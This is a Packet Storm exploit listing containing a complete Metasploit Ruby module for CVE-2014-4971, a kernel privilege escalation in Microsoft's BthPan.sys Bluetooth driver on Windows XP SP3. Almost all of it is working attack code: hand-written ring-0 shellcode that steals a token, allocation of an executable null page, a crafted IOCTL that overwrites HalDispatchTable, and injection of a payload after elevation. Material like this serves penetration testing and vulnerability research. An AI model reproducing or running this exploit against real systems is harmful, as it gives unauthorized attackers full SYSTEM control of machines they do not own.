Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation

2014-10-15T00:00:00
ID PACKETSTORM:128674
Type packetstorm
Reporter Matt Bergin
Modified 2014-10-15T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/exploit/local/windows_kernel'  
require 'rex'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = AverageRanking  
  
include Msf::Exploit::Local::WindowsKernel  
include Msf::Post::File  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',  
'Description' => %q{  
A vulnerability within Microsoft Bluetooth Personal Area Networking module,  
BthPan.sys, can allow an attacker to inject memory controlled by the attacker  
into an arbitrary location. This can be used by an attacker to overwrite  
HalDispatchTable+0x4 and execute arbitrary code by subsequently calling  
NtQueryIntervalProfile.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC  
'Jay Smith <jsmith[at]korelogic.com>' # MSF module  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Targets' =>  
[  
['Windows XP SP3',  
{  
'HaliQuerySystemInfo' => 0x16bba,  
'_KPROCESS' => "\x44",  
'_TOKEN' => "\xc8",  
'_UPID' => "\x84",  
'_APLINKS' => "\x88"  
}  
]  
],  
'References' =>  
[  
[ 'CVE', '2014-4971' ],  
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],  
[ 'OSVDB', '109387' ]  
],  
'DisclosureDate' => 'Jul 18 2014',  
'DefaultTarget' => 0  
))  
end  
  
  
def ring0_shellcode  
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"  
tokenswap << "\x8B\x40\x44\x50\xBB\x04"  
tokenswap << "\x00\x00\x00\x8B\x80\x88"  
tokenswap << "\x00\x00\x00\x2D\x88"  
tokenswap << "\x00\x00\x00\x39\x98\x84"  
tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"  
tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"  
tokenswap << [session.sys.process.getpid].pack('V')  
tokenswap << "\x8B\x80\x88\x00\x00\x00"  
tokenswap << "\x2D\x88\x00\x00\x00"  
tokenswap << "\x39\x98\x84\x00\x00\x00"  
tokenswap << "\x75\xED\x89\xB8\xC8"  
tokenswap << "\x00\x00\x00\x61\xC3"  
end  
  
def fill_memory(proc, address, length, content)  
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")  
  
unless proc.memory.writable?(address)  
vprint_error("Failed to allocate memory")  
return nil  
end  
vprint_good("#{address} is now writable")  
  
result = proc.memory.write(address, content)  
  
if result.nil?  
vprint_error("Failed to write contents to memory")  
return nil  
end  
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")  
  
return address  
end  
  
def disclose_addresses(t)  
addresses = {}  
  
hal_dispatch_table = find_haldispatchtable  
return nil if hal_dispatch_table.nil?  
addresses['halDispatchTable'] = hal_dispatch_table  
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")  
  
vprint_status('Getting the hal.dll base address...')  
hal_info = find_sys_base('hal.dll')  
if hal_info.nil?  
vprint_error('Failed to disclose hal.dll base address')  
return nil  
end  
hal_base = hal_info[0]  
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")  
  
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']  
addresses['HaliQuerySystemInfo'] = hali_query_system_information  
  
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")  
addresses  
end  
  
def check  
if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/  
return Exploit::CheckCode::Safe  
end  
  
os = sysinfo["OS"]  
return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i  
  
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')  
return Exploit::CheckCode::Safe unless handle  
  
session.railgun.kernel32.CloseHandle(handle)  
  
return Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
if is_system?  
fail_with(Exploit::Failure::None, 'Session is already elevated')  
end  
  
unless check == Exploit::CheckCode::Vulnerable  
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")  
end  
  
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')  
if handle.nil?  
fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")  
end  
  
my_target = targets[0]  
print_status("Disclosing the HalDispatchTable address...")  
@addresses = disclose_addresses(my_target)  
if @addresses.nil?  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")  
else  
print_good("Address successfully disclosed.")  
end  
  
print_status("Storing the shellcode in memory...")  
this_proc = session.sys.process.open  
kernel_shell = ring0_shellcode  
kernel_shell_address = 0x1  
  
buf = "\x90" * 0x6000  
buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400  
buf[0x5000, kernel_shell.length] = kernel_shell  
  
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)  
if result.nil?  
session.railgun.kernel32.CloseHandle(handle)  
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")  
end  
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")  
  
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")  
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)  
session.railgun.kernel32.CloseHandle(handle)  
  
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")  
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)  
  
print_status("Checking privileges after exploitation...")  
  
unless is_system?  
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")  
end  
print_good("Privilege escalation successful!")  
  
p = payload.encoded  
print_status("Injecting #{p.length} bytes to memory and executing it...")  
unless execute_shellcode(p)  
fail_with(Failure::Unknown, "Error while executing the payload")  
end  
end  
end  
  
`